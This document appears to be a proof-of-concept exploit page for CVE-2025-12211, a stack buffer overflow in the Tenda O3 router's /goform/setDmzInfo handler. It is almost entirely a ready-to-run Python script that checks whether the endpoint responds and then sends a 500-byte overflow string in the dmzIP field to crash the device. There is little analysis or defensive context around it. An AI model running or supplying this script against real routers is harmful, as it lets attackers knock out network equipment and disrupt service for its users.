CVE-2025-12211 Tenda O3路由器setDmzInfo栈缓冲区溢出漏洞

import requests # CVE-2025-12211 PoC - Tenda O3 setDmzInfo Buffer Overflow # Target: Tenda O3 Router (Firmware 1.0.0.10(2478)) target_ip = "192.168.0.1" # Router IP address target_port = 80 def exploit_buffer_overflow(target_ip, target_port): """ Exploit for CVE-2025-12211 - Stack-based buffer overflow in /goform/setDmzInfo Vulnerability Details: - Affected function: SetValue/GetValue in setDmzInfo - Vulnerable parameter: dmzIP - Attack type: Stack buffer overflow """ url = f"http://{target_ip}:{target_port}/goform/setDmzInfo" # Generate payload with excessive length to trigger buffer overflow # The buffer size is typically 64-128 bytes, so we use 500+ bytes overflow_payload = "A" * 500 # Prepare the POST data data = { "dmzIP": overflow_payload, "module": "dmz", "set": "1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.text)} bytes") if response.status_code == 200: print("[+] Exploit sent successfully") print("[*] Check if router is now responsive or has crashed") return response except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None def check_vulnerability(target_ip, target_port): """ Check if target is vulnerable by sending a test request """ url = f"http://{target_ip}:{target_port}/goform/setDmzInfo" # Normal request to check if endpoint exists data = { "dmzIP": "192.168.0.100", "module": "dmz", "set": "1" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Target appears to be running vulnerable firmware") return True except: pass return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-12211 PoC - Tenda O3 Buffer Overflow") print("=" * 60) # First check if target is vulnerable if check_vulnerability(target_ip, target_port): print("[*] Launching exploit...") exploit_buffer_overflow(target_ip, target_port) else: print("[-] Target does not appear vulnerable or is unreachable")